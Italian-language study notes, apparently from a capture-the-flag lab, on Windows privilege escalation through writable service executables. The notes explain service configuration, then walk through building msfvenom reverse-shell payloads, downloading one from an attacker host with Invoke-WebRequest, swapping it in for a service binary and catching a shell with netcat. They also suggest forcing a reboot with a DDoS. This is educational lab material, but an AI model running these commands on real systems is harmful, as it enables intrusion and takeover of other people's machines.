tags : windows servizi_in_esecuzione priv_esc


Cosa sono?

I servizi Windows sono gestiti da Service Control Manager (SCM). SCM è un processo incaricato di gestire lo stato dei servizi in base alle necessità, verificando lo stato corrente di qualsiasi servizio e generalmente fornendo un modo per configurare i servizi. Ogni servizio su una macchina Windows avrà un eseguibile associato che verrà eseguito da SCM ogni volta che un servizio viene avviato. È importante notare che gli eseguibili del servizio implementano funzioni speciali per poter comunicare con SCM e pertanto non tutti gli eseguibili possono essere avviati correttamente come servizio. Ogni servizio specifica anche l’account utente con cui verrà eseguito il servizio.

Per comprendere meglio la struttura di un servizio, controlliamo la configurazione del servizio apphostsvc con il comando sc qc:

C:\Users\thm-unpriv>sc qc apphostsvc
[SC] QueryServiceConfig SUCCESS
 
SERVICE_NAME: apphostsvc
        TYPE               : 20  WIN32_SHARE_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Windows\system32\svchost.exe -k apphost
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Application Host Helper Service
        DEPENDENCIES       :
        SERVICE_START_NAME : localSystem

Qui possiamo vedere che l’eseguibile associato è specificato tramite il parametro BINARY_PATH_NAME e l’account utilizzato per eseguire il servizio è mostrato nel parametro SERVICE_START_NAME.

I servizi hanno un Discretionary Access Control List (DACL), che indica chi ha il permesso di avviare, arrestare, mettere in pausa, interrogare lo stato, interrogare la configurazione o riconfigurare il servizio, tra gli altri privilegi.

Tutte le configurazioni dei servizi sono memorizzate nel registro in HKLM\SYSTEM\CurrentControlSet\Services:

Esiste una sottochiave per ogni servizio nel sistema. Di nuovo, possiamo vedere l’eseguibile associato sul valore ImagePath e l’account utilizzato per avviare il servizio sul valore ObjectName. Se è stato configurato un DACL per il servizio, verrà memorizzato in una sottochiave denominata Security. Solo gli amministratori possono modificare tali voci di registro per impostazione predefinita.

Autorizzazioni non sicure su Service Executable

Se l’eseguibile associato a un servizio ha autorizzazioni deboli che consentono a un aggressore di modificarlo o sostituirlo, l’aggressore può ottenere i privilegi dell’account del servizio in modo banale a patto che il servizio sia rivviabile START_TYPE : 2 AUTO_START perchè quando un servizio è “Running” (in esecuzione), Windows ha già caricato il codice di quel file .exe nella memoria RAM. Se tu sostituisci il file .exe sul disco rigido con il tuo payload, il servizio in esecuzione non se ne accorge. Continua a eseguire il vecchio codice originale che ha in memoria.

Per far sì che Windows esegua il tuo virus, deve:

  1. Scaricare dalla memoria il vecchio processo (Stop).

  2. Leggere dal disco il nuovo file (quello modificato da te).

  3. Caricarlo in memoria ed eseguirlo (Start).

Quindi nel caso non avessimo la possibilità di riavviarlo ci toccherebbe aspettare un riavvio della macchina vittima oppure forzare un crash della macchina tramite per esempio un attacco DDOS.

Enumerazione Automatica

Possiamo anche automatizzare questo processo tramite l’utilizzo di questo script

 
PS> . .\script.ps1
 
PS> Invoke-AllChecks
 

In questo script la funzione START_TYPE è chiamata CanRestart se è impostata su True possiamo riavviare il servizio se è impostata su False no.

Per vedere i permessi che abbiamo su quel file possiamo usare:

icacls "C:\Percorso\per\il\Servizio.exe"

Nel caso fossimo in grado di modificarlo e fosse riavviabile possiamo andare al Punto 2 per capire come exploitare che troverai di seguito in questa pagina, ma per riassumere:

 
#Ci creiamo il payload sulla macchina attaccante
 
msfvenom -p windows/shell_reverse_tcp LHOST=CONNECTION_IP LPORT=4443 -e x86/shikata_ga_nai -f exe-service -o Advanced.exe
 
#Carichiamo il payload sulla macchina vittima
 
meterpreter> upload ~/Percordo/Del/payload.exe
 
#Caricamento una shell Powershell
 
meterpreter> load powershell
 
meterpreter> powershell_shell
 
#Facciamo il backup del servizio
 
Rename-Item -Path "C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe" -NewName "ASCService.exe.bak"
 
#Sostituiamo il servizio con la nostra reverse shell
 
Copy-Item "C:\Temp\tua_reverse_shell.exe" -Destination "C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe"
 
#Ci mettiamo in ascoto con Metasploit sulla macchina attaccante
 
msf> use exploit/multi/handler
 
#Stoppiamo il servizio (Attenzione a mettere il nome del servizio e non del file.exe che in questo caso sarebbe ASCService.exe)
 
Stop-Service -Name AdvancedSystemCareService9
 
#Riavviamo il servizio
 
Start-Service -Name AdvancedSystemCareService9
 

Enumerazione Manuale

Per capire come funziona, diamo un’occhiata a una vulnerabilità trovata su Splinterware System Scheduler. Per iniziare, interrogheremo la configurazione del servizio usando sc:

C:\Users\thm-unpriv>sc qc WindowsScheduler
[SC] QueryServiceConfig SUCCESS
 
SERVICE_NAME: WindowsScheduler
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : C:\PROGRA~2\SYSTEM~1\WService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : System Scheduler Service
        DEPENDENCIES       :
        SERVICE_START_NAME : .\svcusr1

Possiamo vedere che il servizio installato dal software vulnerabile viene eseguito come svcuser1 e l’eseguibile associato al servizio si trova in C:\Progra2\System1\WService.exe, inoltre lo START_TYPE è impostato su AUTO_START quindi possiamo stoppare e riattivare il servizio a nostro piacere. Procediamo quindi a controllare i permessi sull’eseguibile:

C:\Users\thm-unpriv>icacls C:\PROGRA~2\SYSTEM~1\WService.exe
C:\PROGRA~2\SYSTEM~1\WService.exe Everyone:(I)(M)
                                  NT AUTHORITY\SYSTEM:(I)(F)
                                  BUILTIN\Administrators:(I)(F)
                                  BUILTIN\Users:(I)(RX)
                                  APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                                  APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)
 
Successfully processed 1 files; Failed processing 0 files

E qui abbiamo qualcosa di interessante. Il gruppo Everyone ha permessi di modifica (M) sull’eseguibile del servizio. Ciò significa che possiamo semplicemente sovrascriverlo con qualsiasi payload di nostra preferenza e il servizio lo eseguirà con i privilegi dell’account utente configurato. Quindi quando vediamo un eseguibile che può essere modificato dal gruppo al quale apparteniamo possiamo modificarlo con un nostro payload ed ottenere i privilegi di colui che esegue il file.

Punto 2

Quindi ora ci generiamo un payload con msfvenom e lo carichiamo sulla macchina vittima:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.14.83.140 LPORT=4445 -f exe-service -o rev-svc.exe

Poi ci tiriamo su un server con python e dalla powershell vittima scarichiamo la reverse shell con il seguente comando di powershell:

PS C:\Users\thm-unpriv> powershell -c "Invoke-WebRequest -Uri 'http://10.14.83.140/rev-svc.exe' -OutFile 'C:\Users\thm-u
npriv\rev-svc.exe'"
PS C:\Users\thm-unpriv> ls
 
 
    Directory: C:\Users\thm-unpriv
 
 
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-r---         5/3/2022   3:14 PM                3D Objects
d-r---         5/3/2022   3:14 PM                Contacts
d-r---         5/4/2022   8:15 AM                Desktop
d-r---         5/3/2022   3:14 PM                Documents
d-r---         5/3/2022   3:14 PM                Downloads
d-r---         5/3/2022   3:14 PM                Favorites
d-r---         5/3/2022   3:14 PM                Links
d-r---         5/3/2022   3:14 PM                Music
d-r---         5/3/2022   3:14 PM                Pictures
d-r---         5/3/2022   3:14 PM                Saved Games
d-r---         5/3/2022   3:14 PM                Searches
d-r---         5/3/2022   3:14 PM                Videos
-a----       10/14/2024   9:06 AM          48640 rev-svc.exe

Una volta che il payload è nel server Windows, procediamo a sostituire l’eseguibile del servizio con il nostro payload. Poiché abbiamo bisogno di un altro utente per eseguire il nostro payload, vorremo concedere permessi completi anche al gruppo Everyone:

PS C:\Users\thm-unpriv> cd C:\PROGRA~2\SYSTEM~1\  //Scorciatoia per andare nella                                                     cartella con il file
 
PS C:\Program Files (x86)\SystemScheduler> move WService.exe WService.exe.bkp
 
PS C:\Program Files (x86)\SystemScheduler> ls
 
 
    Directory: C:\Program Files (x86)\SystemScheduler
 
 
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----       10/14/2024   9:10 AM                Events
-a----        5/17/2007   1:47 PM           1150 alarmclock.ico
-a----        8/31/2003  12:06 PM            766 clock.ico
-a----        8/31/2003  12:06 PM          80856 ding.wav
-a----         5/3/2022  11:56 AM             60 Forum.url
-a----         1/8/2009   8:21 PM        1637972 libeay32.dll
-a----       11/16/2004  12:16 AM           9813 License.txt
-a----       10/14/2024   8:40 AM            696 LogFile.txt
-a----       10/14/2024   8:41 AM           1343 LogfileAdvanced.txt
-a----        3/25/2018  10:58 AM         536992 Message.exe
-a----        3/25/2018  10:59 AM         445344 PlaySound.exe
-a----        3/25/2018  10:58 AM          27040 PlayWAV.exe
-a----         5/3/2022  12:04 PM            108 Preferences.ini
-a----        3/25/2018  10:58 AM         485792 Privilege.exe
-a----        3/24/2018  12:09 PM          10100 ReadMe.txt
-a----        3/25/2018  10:58 AM         112544 RunNow.exe
-a----        3/25/2018  10:59 AM          40352 sc32.exe
-a----        8/31/2003  12:06 PM            766 schedule.ico
-a----        3/25/2018  10:58 AM        1633696 Scheduler.exe
-a----        3/25/2018  10:59 AM         491936 SendKeysHelper.exe
-a----        3/25/2018  10:58 AM         437664 ShowXY.exe
-a----        3/25/2018  10:58 AM         439712 ShutdownGUI.exe
-a----        3/25/2018  10:58 AM         235936 SSAdmin.exe
-a----        3/25/2018  10:58 AM         731552 SSCmd.exe
-a----         1/8/2009   8:12 PM         355446 ssleay32.dll
-a----        3/25/2018  10:58 AM         456608 SSMail.exe
-a----         5/3/2022  11:56 AM           6867 unins000.dat
-a----         5/3/2022  11:56 AM         722597 unins000.exe
-a----         5/3/2022  11:56 AM             54 Website.url
-a----        6/26/2009   5:27 PM           6574 whiteclock.ico
-a----        3/25/2018  10:58 AM          76704 WhoAmI.exe
-a----        5/16/2006   4:49 PM         785042 WSCHEDULER.CHM
-a----        5/16/2006   3:58 PM           2026 WScheduler.cnt
-a----        3/25/2018  10:58 AM         331168 WScheduler.exe
-a----        5/16/2006   4:58 PM         703081 WSCHEDULER.HLP
-a----        3/25/2018  10:58 AM         136096 WSCtrl.exe
-a----        3/25/2018  10:58 AM          98720 WService.exe.bkp
-a----        3/25/2018  10:58 AM          68512 WSLogon.exe
-a----        3/25/2018  10:59 AM          33184 WSProc.dll
 
 
PS C:\Program Files (x86)\SystemScheduler> move C:\Users\thm-unpriv\rev-svc.exe WService.exe
PS C:\Program Files (x86)\SystemScheduler> ls
 
 
    Directory: C:\Program Files (x86)\SystemScheduler
 
 
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----       10/14/2024   9:12 AM                Events
-a----        5/17/2007   1:47 PM           1150 alarmclock.ico
-a----        8/31/2003  12:06 PM            766 clock.ico
-a----        8/31/2003  12:06 PM          80856 ding.wav
-a----         5/3/2022  11:56 AM             60 Forum.url
-a----         1/8/2009   8:21 PM        1637972 libeay32.dll
-a----       11/16/2004  12:16 AM           9813 License.txt
-a----       10/14/2024   8:40 AM            696 LogFile.txt
-a----       10/14/2024   8:41 AM           1343 LogfileAdvanced.txt
-a----        3/25/2018  10:58 AM         536992 Message.exe
-a----        3/25/2018  10:59 AM         445344 PlaySound.exe
-a----        3/25/2018  10:58 AM          27040 PlayWAV.exe
-a----         5/3/2022  12:04 PM            108 Preferences.ini
-a----        3/25/2018  10:58 AM         485792 Privilege.exe
-a----        3/24/2018  12:09 PM          10100 ReadMe.txt
-a----        3/25/2018  10:58 AM         112544 RunNow.exe
-a----        3/25/2018  10:59 AM          40352 sc32.exe
-a----        8/31/2003  12:06 PM            766 schedule.ico
-a----        3/25/2018  10:58 AM        1633696 Scheduler.exe
-a----        3/25/2018  10:59 AM         491936 SendKeysHelper.exe
-a----        3/25/2018  10:58 AM         437664 ShowXY.exe
-a----        3/25/2018  10:58 AM         439712 ShutdownGUI.exe
-a----        3/25/2018  10:58 AM         235936 SSAdmin.exe
-a----        3/25/2018  10:58 AM         731552 SSCmd.exe
-a----         1/8/2009   8:12 PM         355446 ssleay32.dll
-a----        3/25/2018  10:58 AM         456608 SSMail.exe
-a----         5/3/2022  11:56 AM           6867 unins000.dat
-a----         5/3/2022  11:56 AM         722597 unins000.exe
-a----         5/3/2022  11:56 AM             54 Website.url
-a----        6/26/2009   5:27 PM           6574 whiteclock.ico
-a----        3/25/2018  10:58 AM          76704 WhoAmI.exe
-a----        5/16/2006   4:49 PM         785042 WSCHEDULER.CHM
-a----        5/16/2006   3:58 PM           2026 WScheduler.cnt
-a----        3/25/2018  10:58 AM         331168 WScheduler.exe
-a----        5/16/2006   4:58 PM         703081 WSCHEDULER.HLP
-a----        3/25/2018  10:58 AM         136096 WSCtrl.exe
-a----       10/14/2024   9:06 AM          48640 WService.exe
-a----        3/25/2018  10:58 AM          98720 WService.exe.bkp
-a----        3/25/2018  10:58 AM          68512 WSLogon.exe
-a----        3/25/2018  10:59 AM          33184 WSProc.dll
 
 
PS C:\Program Files (x86)\SystemScheduler> icacls WService.exe /grant Everyone:F
processed file: WService.exe
Successfully processed 1 files; Failed processing 0 files

Ora ci possiamo mettere in ascolto sulla porta 4445 e riavviare il servizio (questo nella realtà è molto improbabile che si possa fare, ma nelle CTF spesso si può fare per risparmiare tempo) sulla macchina vittima:

C:\>sc stop windowsscheduler
 
SERVICE_NAME: windowsscheduler
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 3  STOP_PENDING
                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x1
        WAIT_HINT          : 0x3e8
 
C:\>sc start windowsscheduler
 
SERVICE_NAME: windowsscheduler
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 4  RUNNING
                                (STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0
        PID                : 2644
        FLAGS              :

nota

Per eseguire lo stesso comando su powershell bisogna sostituire sc con sc.exe altrimente non funzionerà.

E sulla porta in ascolto ora abbiamo:

nc -lvnp 4445
listening on [any] 4445 ...
connect to [10.14.83.140] from (UNKNOWN) [10.10.172.182] 49851
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.
 
C:\Windows\system32>whoami
whoami
wprivesc1\svcusr1